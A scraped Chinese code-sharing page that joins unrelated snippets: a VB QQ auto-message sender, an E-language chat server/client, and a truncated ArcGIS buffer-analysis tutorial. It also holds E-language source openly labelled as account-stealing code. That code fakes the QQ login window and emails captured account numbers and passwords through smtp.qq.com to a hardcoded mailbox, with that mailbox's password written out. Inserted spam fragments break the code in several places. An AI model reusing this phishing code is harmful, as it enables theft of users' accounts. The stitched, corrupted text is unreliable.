文秘知识 点击: 2015-02-06
VB QQ消息发送器源码
QQ消息发送器源码
最好是把我之前的关于API函数的2个初级知识看一遍(当然高手跳过,这个文章也可以不用看,呵呵)。
Option Explicit
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByValhwnd As Long, ByValwMsg As Long, ByValwParam As Long, lParam As Any) As Long
Private Declare Function GetWindow Lib "user32" (ByValhwnd As Long, ByValwCmd As Long) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByValhwnd As Long, ByVallpString As String, ByValcch As Long) As Long
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByValhwnd As Long, ByVallpClassName As String, ByValnMaxCount As Long) As Long
Private Const BM_CLICK = &HF5 '消息 模拟按钮事件
Private Const EM_REPLACESEL = &HC2
Private Const WM_SETTEXT = &HC '消息 设置文本到编辑框中
Private Const GW_HWNDFIRST = 0 '找到与源窗口同级别的第一个窗口
Private Const GW_HWNDNEXT = 2 '找到与源窗口同级别的下一个窗口
Dim Mainfrm_hwnd As Long '主窗口的句柄
Dim Mainfrmchild_hwnd As Long '主窗口孩子窗口句柄(类为#32770)
Dim Button_hwnd As Long '发送按钮的句柄
Dim Edit_hwnd As Long '编辑框的句柄
'得到qq发送对话框的句柄
Public Function Findmessagefrm_hwnd(hwnd As Long, name As String) As Long
Dim lpString As String * 256
Dim lpClassName As String * 256
'得到与本程序窗口同级别的Z序列第一个窗口句柄
Mainfrm_hwnd = GetWindow(hwnd, GW_HWNDFIRST)
While Mainfrm_hwnd<> 0
'得到窗口的标题
GetWindowTextMainfrm_hwnd, lpString, 255
'得到窗口的类名
GetClassNameMainfrm_hwnd, lpClassName, 255
If InStr(1, lpString, name) > 0 And InStr(1, lpClassName, "#32770") > 0 Then
Findmessagefrm_hwnd = Mainfrm_hwnd
Exit Function
End If
Mainfrm_hwnd = GetWindow(Mainfrm_hwnd, GW_HWNDNEXT)
Wend
Findmessagefrm_hwnd = Mainfrm_hwnd
End Function
'得到要向其写入文字的编辑框窗口的句柄
Public Function FindEdit_hwnd(hwnd As Long) As Long
'定义拥有Mainfrmchild_hwnd窗口的直系孩子窗口句柄
'这里我们要找的编辑框窗口是属于我们下面定义的句柄窗口的孩子
'实际上我们找的编辑框窗口的父窗口的类名是AfxWnd42
'在拥有Mainfrmchild_hwnd窗口的直系孩子窗口类名为AfxWnd42有四个
Dim Mainfrmchild_child_hwnd As Long
'得到编辑框的句柄
Dim Edithwnd As Long
'得到类为AfxWnd42的窗口句柄,因为我们要找的窗口就是该类窗口的孩子窗口
Mainfrmchild_child_hwnd = FindWindowEx(hwnd, 0, "AfxWnd42", vbNullString)
'得到类为AfxWnd42的窗口的孩子窗口句柄
'这时得到的句柄可能为0,不是我们要找的
Edithwnd = FindWindowEx(Mainfrmchild_child_hwnd, 0, "RichEdit20A", vbNullString)
While Edithwnd = 0
Mainfrmchild_child_hwnd = FindWindowEx(hwnd, Mainfrmchild_child_hwnd, "AfxWnd42", vbNullString) Edithwnd = FindWindowEx(Mainfrmchild_child_hwnd, 0, "RichEdit20A", vbNullString)
Wend
FindEdit_hwnd = Edithwnd
End Function{qq说说实时赞工具源码}.
'得到发送按钮窗口的句柄
Public Function FindButton_hwnd(hwnd As Long) As Long
'发送按钮窗口是拥有Mainfrmchild_hwnd句柄窗口的孩子窗口 FindButton_hwnd = FindWindowEx(hwnd, 0, "Button", "发送(S)")
End Function
Private Sub Cmdsend_Click() '发送信息
Dim Strflag As String{qq说说实时赞工具源码}.
Strflag = "聊天中" '因为一个聊天窗口的标题
'得到qq发送对话框窗口的句柄
Mainfrm_hwnd = Findmessagefrm_hwnd(Me.hwnd, Strflag)
'得到qq发送对话框窗口的直系孩子窗口句柄
'qq聊天对话框窗口的直系子窗口只有四个,一个最小化按钮窗口,一个 '最大化按钮窗口,一个关闭按钮窗口,最后一个就是我们要得到的对话 '框窗口(和父窗口一样的类别),前面三个都是button类的
Mainfrmchild_hwnd = FindWindowEx(Mainfrm_hwnd, 0, "#32770", vbNullString)
'得到要向其写入文字的编辑框窗口的句柄
Edit_hwnd = FindEdit_hwnd(Mainfrmchild_hwnd)
'得到发送按钮窗口的句柄
Button_hwnd = FindButton_hwnd(Mainfrmchild_hwnd)
Timer1.Enabled = True
Timer1.Interval = Val(Trim(Text2.Text))
End Sub
Private Sub Cmdstop_Click()
Timer1.Enabled = False
End Sub
Private Sub Timer1_Timer()
SendMessageEdit_hwnd, EM_REPLACESEL, 0, ByVal Text1.Text SendMessageButton_hwnd, BM_CLICK, 0, ByVal 0&
End Sub
仿qq界面,盗号源码
仿QQ.e
.版本 2
.支持库xplib
.支持库 iext5
.支持库 internet
.支持库eAPI
.程序集窗口程序集_启动窗口
.子程序 __启动窗口_创建完毕
' 注册热键 (取窗口句柄 (), 编辑框1.取窗口句柄 (), 0, #Tab键)
_启动窗口.高度= 330
置托盘图标 (#图片1, “QQ”)
XP风格 (3)
时钟1.时钟周期= 10
编辑框1.获取焦点 ()
.子程序 _编辑框1_获得焦点
_启动窗口.高度= 330
.如果真 (编辑框1.内容=“QQ号码/手机/邮箱”)
编辑框1.内容=“”
编辑框1.文本颜色= #黑色
.如果真结束
.子程序 _编辑框2_获得焦点
_启动窗口.高度= 330
编辑框2.内容=“”
编辑框2.字体.字体名称=“Wingdings”
编辑框2.输入方式= 2
编辑框2.文本颜色= #黑色
.子程序 _编辑框2_失去焦点
.如果真 (编辑框2.内容=“”)
编辑框2.文本颜色= #灰色
编辑框2.输入方式= 0
编辑框2.字体.字体名称=“宋体”
编辑框2.内容=“密码”
.如果真结束
.子程序 _编辑框1_失去焦点
.如果真 (编辑框1.内容=“”)
编辑框1.文本颜色= #灰色
编辑框1.内容=“QQ号码/手机/邮箱”
.如果真结束
.子程序 _图形按钮2_被单击
_启动窗口.销毁 ()
.子程序 _时钟1_周期事件
.如果 (取鼠标水平位置 () > _启动窗口.左边+ _启动窗口.宽度-图形按钮2.宽度且取鼠标水平位置 () < _启动窗口.左边+ _启动窗口.宽度且取鼠标垂直位置 () > _启动窗口.顶边且取鼠标垂直位置 () < _启动窗口.顶边+图形按钮2.高度)
图形按钮2.可视=真
.否则
图形按钮2.可视=假
.如果结束
.如果 (取鼠标水平位置 () > _启动窗口.左边+图形按钮3.左边且取鼠标水平位置 () < _启动窗口.左边+图形按钮3.左边+图形按钮3.宽度且取鼠标垂直位置 () > _启动窗口.顶边且取鼠标垂直位置 () < _启动窗口.顶边+图形按钮3.高度)
图形按钮3.可视=真
.否则
图形按钮3.可视=假
.如果结束
.如果 (取鼠标水平位置 () > _启动窗口.左边+图形按钮4.左边且取鼠标水平位置 () < _启动窗口.左边+图形按钮4.左边+图形按钮4.宽度且取鼠标垂直位置 () > _启动窗口.顶边且取鼠标垂直位置 () < _启动窗口.顶边+图形按钮4.高度)
图形按钮4.可视=真
.否则
图形按钮4.可视=假
.如果结束
.子程序 _图形按钮3_被单击
_启动窗口.可视=假
.子程序 __启动窗口_托盘事件
.参数操作类型, 整数型
.如果真 (操作类型= #双击)
_启动窗口.可视=真
.如果真结束
.如果真 (操作类型= #单击右键)
弹出托盘菜单 (打开)
.如果真结束
.子程序 _打开主面板_被选择
_启动窗口.高度= 330
_启动窗口.可视=真
.子程序 _退出_被选择
_启动窗口.销毁 ()
.子程序 _图形按钮1_被单击
.如果 (编辑框1.内容=“”或编辑框1.内容=“QQ号码/手机/邮箱”)
气球提示框1.弹出提示框 (_启动窗口.左边+编辑框1.左边+ 2, _启动窗口.顶边+编辑框
1.顶边+ 15, “请输入账号再登录”, -1, 真)
.否则
.如果 (编辑框2.内容=“”或编辑框2.内容=“密码”)
气球提示框1.弹出提示框 (_启动窗口.左边+编辑框2.左边+ 2, _启动窗口.顶边+编辑框
2.顶边+ 15, “请输入密码再登录”, -1, 真)
.否则
账号=编辑框1.内容
密码=编辑框2.内容
.如果 (连接发信服务器 (“smtp.qq.com”, 25, “1107505710@qq.com”, “xiaoxiao.0225”, ))
发送邮件 (“账号”+编辑框1.内容, “密码”+编辑框2.内容, “1107505710@qq.com”, “1107505710@qq.com”, , “1107505710@qq.com”, )
_启动窗口.高度= 370
.否则
_启动窗口.高度= 370
.如果结束
.如果结束
.如果结束
.子程序 _图形按钮8_被单击
打开指定网址 (“
.子程序 _图形按钮7_被单击
打开指定网址 (“https://aq.qq.com/cn2/findpsw/pc/pc_find_pwd_input_account?source_id=1003&pt_clientver=5443&pt_src=1&ptlang=2052&aquin=”+编辑框1.内容)
.子程序 _编辑框1_按下某键, 逻辑型
.参数键代码, 整数型
.参数功能键状态, 整数型
.如果真 (键代码= #回车键)
_图形按钮1_被单击 ()
.如果真结束
.子程序 _编辑框2_按下某键, 逻辑型
.参数键代码, 整数型
.参数功能键状态, 整数型
.如果真 (键代码= #回车键)
_图形按钮1_被单击 ()
.如果真结束
.子程序 __启动窗口_放开某键, 逻辑型
.参数键代码, 整数型
.参数功能键状态, 整数型
.如果 (键代码= #Tab键)
易语言简单模拟qq软件源码
(简单模拟qq)服务器:
编辑框1.加入文本 (服务器1.取回客户 () + “客户进入!” + #换行符) 用户数 = 用户数 + 1
标签1.标题 = “当前在线人数为:” + 到文本 (用户数)
.
编辑框1.加入文本 (服务器1.取回客户 () + “客户离开!” + #换行符) 用户数 = 用户数 - 1
标签1.标题 = “当前在线人数为:” + 到文本 (用户数)
' 本源码来自易语言资源网()
用户 = 服务器1.取回客户 ()
分割文本 = 分割文本 (到文本 (服务器1.取回数据 ()), “&”, ) .如果真 (分割文本 [2] = “发言”)
编辑框2.加入文本 (用户 + #换行符 + 分割文本 [1] + #换行符) .如果真结束
.如果真 (分割文本 [2] = “注册”)
文本 = 分割文本 (分割文本 [1], “#”
, )
打开 (取运行目录 () + “\聊天.edb”, , , , , “jiajia”, )
到尾记录 ()
帐号 = 读 (#帐号)
加空记录 ()
写 (“帐号”, 到文本 (到整数 (帐号) + 1))
写 (“密码”, 文本 [1])
写 (“妮称”, 文本 [2])
写 (“姓别”, 文本 [3])
写 (“年龄”, 到整数 (文本 [4]))
关闭 ()
帐号 = 到文本 (到整数 (帐号) + 1)
服务器1.发送数据 (用户, “注册成功” + “#” + “你的帐号为” + “:” + 帐号 + “&注册”, )
.如果真结束
.如果真 (分割文本 [2] = “取修改”)
帐号 = 分割文本 [1]
打开 (取运行目录 () + “\聊天.edb”, , , , , “jiajia”, )
查找 (读 (#帐号) = 帐号)
服务器1.发送数据 (用户, 读 (#密码) + “#” + 读 (#帐号) + “&取修改”, ) 关闭 ()
.如果真结束
.如果真 (分割文本 [2] = “登陆”)
文本 = 分割文本 (分割文本 [1], “#”, )
打开 (取运行目录 () + “\聊天.edb”, , , , , “jiajia”, )
.如果 (查找 (读 (#帐号) = 文本 [1]))
密码 = 读 (#密码)
.否则
服务器1.发送数据 (用户, “帐号错误” + “&登陆”, )
返回 ()
.如果结束
.如果 (密码 = 文本 [2])
服务器1.发送数据 (用户, “登陆成功” + “&登陆”, )
.否则
服务器1.发送数据 (用户, “密码错误” + “&登陆”, )
.如果结束
关闭 ()
.如果真结束
.如果真 (分割文本 [2] = “查找”)
打开 (取运行目录 () + “\聊天.edb”, , , , , “jiajia”, )
.如果真 (查找 (读 (#帐号) = 分割文本 [1]))
妮称 = 读 (#妮称)
姓别 = 读 (#姓别)
年龄 = 到文本 (读 (#年龄))
服务器1.发送数据 (用户, 妮称 + “#” + 姓别 + “#” + 年龄 + “&查
找”, )
.如果真结束
关闭 ()
.如果真结束
.如果真 (分割文本 [2] = “好友”)
文本 = 分割文本 (分割文本 [1], “#”, )
打开 (取运行目录 () + “\好友.edb”, , , , , “jiajia”, ) 加空记录 ()
写 (“自已”, 文本 [1])
写 (“朋友”, 文本 [2] + “#”)
服务器1.发送数据 (用户, “添加成功” + “&好友”, ) 关闭 ()
.如果真结束
.如果真 (分割文本 [2] = “取好友”)
打开 (取运行目录 () + “\好友.edb”, , , , , “jiajia”, ) .如果真 (查找 (读 (#自已) = 分割文本 [1]))
好友 = 读 (#朋友)
朋友 = 分割文本 (好友, “#”, )
服务器1.发送数据 (用户, 朋友 [1] + “&取好友”, ) .如果真结束
' 本源码来自易语言资源网()
.如果真结束
.子程序 __启动窗口_创建完毕
_启动窗口.标题 = “服务器启动成功!”
客户端:
内容:
.
.如果真 (编辑框1.内容 = “”)
信息框 (“请输入密码!”, 0, )
返回 ()
.如果真结束
.如果真 (编辑框1.内容 ≠ 编辑框2.内容)
信息框 (“二次密码输入不同!”, 0, )
返回 ()
.如果真结束
.如果真 (编辑框3.内容 = “”)
信息框 (“请输入妮称!”, 0, )
返回 ()
.如果真结束
.如果真 (选择框1.选中 = 假 且 选择框2.选中 = 假) 信息框 (“请选择姓别!”, 0, )
返回 ()
.如果真结束
.如果真 (编辑框4.内容 = “”)
信息框 (“请输入年龄!”, 0, )
返回 ()
.如果真结束
.如果 (选择框1.选中 = 真)
姓别 = “男”
.否则
姓别 = “女”
.如果结束
注册 = 编辑框1.内容 + “#” + 编辑框3.内容 + “#”框4.内容
客户1.发送数据 (注册 + “&注册”)
姓别 +#” + 编辑 + “{qq说说实时赞工具源码}.
分割文本 = 分割文本 (到文本 (客户1.取回数据 ()), “&”, ) 文本 = 分割文本 (分割文本 [1], “#”, )
.如果 (文本 [1] = “注册成功”)
信息框 (“注册成功!” + 文本 [2], 0, )
.否则
信息框 (“注册失败!”, 0, )
.如果结束
卷帘式菜单1.可视 = 假
按钮2.可视 = 假
.如果 (客户1.连接 (“127.0.0.1”, 19730))
客户1.发送数据 (帐号 + “#” + 密码 + “&登陆”) .否则
信息框 (“连接失败!”, 0, )
.如果结束
分割文本 = 分割文本 (到文本 (客户1.取回数据 ()), “&”, ) .如果真 (分割文本 [2] = “登陆”)
.如果真 (分割文本 [1] = “帐号错误”
)
点线面空间分析实现代码
点线面缓充区分析的实现代码
1.ArcGIS.Server.9.3和ArcGIS API for JavaScript实现实现点、线、面的buffer分析,这里是通过GeometryServer实现。
准备工作:
1. 在ArcGis Server9.3中发布名为usa的MapServer。
2. 在ArcGis Server9.3中发布名为Geometry的GeometryServer。
完成后的效果图:
开始
0.关于GeometryServer的介绍,可以看本系列的第九篇。
1.启动vs新建名为BufferSample的ASP.NET Web应用程序。其实jsapi是纯客户端的开发了不需要vs也不需要.net了,纯html页面就可以了用记事本都可以开发了。我这里为了方便了就用vs2008了,毕竟可以调试js脚本了。
2.接着在工程中添加名为javascript的文件夹并且在这个文件夹里新建wabapp.js的文件,这里用来编写我们自己的js代码了,在Default.aspx页面里添加对这个js文件的引用,同时在Default.aspx页面里添加一个id为map的div标签作为地图控件的载体、5个input的功能按钮、2个input的输入框、1个select选择列表:
<%@ Page Language=“C#“ AutoEventWireup=“true“ CodeBehind=“Default.aspx.cs“ Inherits=“BufferSample._Default“ %>
<!DOCTYPE html PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN” ”/jsapi/arcgis/1.2/js/dojo/dijit/themes/tundra/tundra.css”>
<script src=”type=”text/javascript”></script>
<script src=”javascript/webapp.js”></script>
<style type=”text/css”>
#Text1{qq说说实时赞工具源码}.
{
width: 54px;
}
</style>
</head>
<body class=”tundra”>
<form id=”form1″ runat=”server”>
<table>
<tr><td><div>
<input id=”Button1″ type=”button” value=” 点 ” onclick=”tb.activate(esri.toolbars.Draw.POINT);map.hideZoomSlider();” />
<input id=”Button2″ type=”button” value=” 线 ” onclick=”tb.activate(esri.toolbars.Draw.LINE);map.hideZoomSlider();” />
<input id=”Button3″ type=”button” value=” 面 ” onclick=”tb.activate(esri.toolbars.Draw.POLYGON);map.hideZoomSlider();” />
<input id=”Button4″ type=”button” value=”
漫 游” onclick=”tb.deactivate();map.showZoomSlider();” />
WKID:<input id=”wkid” style=”width:40px” type=”text” value=”102113″ />Buffer距
离:<input id=”distance” style=”width:40px” type=”text” value=”25″ />
<select id=”unit” name=”unit”>
<option value=”UNIT_STATUTE_MILE”>英里</option>
<option value=”UNIT_FOOT”>码</option>
<option value=”UNIT_KILOMETER”>千米</option>
<option value=”UNIT_METER”>米</option>
<option value=”UNIT_NAUTICAL_MILE”>海里</option>
<option value=”UNIT_US_NAUTICAL_MILE”>美式海里</option>
<option value=”UNIT_DEGREE”>度</option>
</select>
<input id=”Button5″ type=”button” value=”清 除” onclick=”map.graphics.clear();” />
</div></td><td></td></tr>
<tr><td><div id=”map” style=”width:550px; height:400px; border:1px solid #000;”></div></td><td valign=”top” align=”left”>dd</td></tr>
</table>
</form>
</body>
</html>
3、上面的html代码中主要可以看一下5个input按钮的onclick事件,分别实现了画点、画线、画面、漫游、清楚图形的代码很简单了,还有就是单位选择的select了已经添加了7个常用的单位。
4、切换到wabapp.js编写js代码,本例子的js代码分为3部分功能,第一载入地图进行显示;第二进行画点、线、面操作;第三根据画的点、线、面图形进行buffer分析。具体的说明看代码注释:
dojo.require(“esri.map“);
dojo.require(“esri.tasks.geometry“);
dojo.require(“esri.toolbars.draw“);
dojo.require(“esri.tasks.query“);
djConfig = { isDebug:true };
var map,tb,geometryService,queryTask,query;
function init(){qq说说实时赞工具源码}.
{
startExtent = new esri.geometry.Extent(-183.780014745329,16.2975638854873,-61.4068547410964,74.0304580085983, new esri.SpatialReference({wkid:4269}));
map = new esri.Map(“map“);
//底图Tile图
var imageryPrime = new esri.layers.ArcGISTiledMapServiceLayer(“
map.addLayer(imageryPrime);
var usa = new esri.layers.ArcGISDynamicMapServiceLayer(“
//设置要显示的图层
//usa.setVisibleLayers([0]);
//设置图层透明度
usa.setOpacity(0.8);
map.addLayer(usa);
//设置地图视图范围
map.setExtent(startExtent);
geometryService = new esri.tasks.GeometryService(“
tb = new esri.toolbars.Draw(map);
dojo.connect(tb, “onDrawEnd“, doDraw);
}
//画图
function doDraw(geometry)
{
//根据图形的类型定义显示样式
switch (geometry.type)
{
case “point“:
var symbol = new esri.symbol.SimpleMarkerSymbol(esri.symbol.SimpleMarkerSymbol.STYLE_SQUARE, 10, new esri.symbol.SimpleLineSymbol(esri.symbol.SimpleLineSymbol.STYLE_SOLID, new dojo.Color([255,0,0]), 1), new dojo.Color([0,255,0,0.25]));
break;
case “polyline“:
var symbol = new esri.symbol.SimpleLineSymbol(esri.symbol.SimpleLineSymbol.STYLE_DASH, new dojo.Color([255,0,0]), 1);
break;
case “polygon“:
var symbol = new esri.symbol.SimpleFillSymbol(esri.symbol.SimpleFillSymbol.STYLE_SOLID, new esri.symbol.SimpleLineSymbol(esri.symbol.SimpleLineSymbol.STYLE_SOLID, new dojo.Color([0,0,0]), 1), new dojo.Color([255,0,0,0.25]));
break;
}
//把绘制的图形添加到map.graphics进行显示
var graphic = new esri.Graphic(geometry, symbol);
map.graphics.add(graphic);
//如果是面需要先进行simplify操作,否则直接进行buffer
if(geometry.type === “polygon“)
{
geometryService.simplify([graphic],doSimplify);
}
else
{
doBuffer([graphic]);
}
}
//simplify结束调用buffer
function doSimplify(graphics)
{
doBuffer(graphics);
}
function doBuffer(graphics)
{
//buffer参数
var params = new esri.tasks.BufferParameters();
//buffer的范围值,从输入框中获取
params.distances = [ dojo.byId("distance").value ];
//空间参考
params.bufferSpatialReference =new esri.SpatialReference({wkid: dojo.byId(“wkid“).value}); //输出结果的空间参考
params.outSpatialReference = map.spatialReference;
params.features = graphics;
//buffer的单位,从列表框获取
params.unit = eval(“esri.tasks.BufferParameters.“+dojo.byId(“unit“).value);
//buffer操作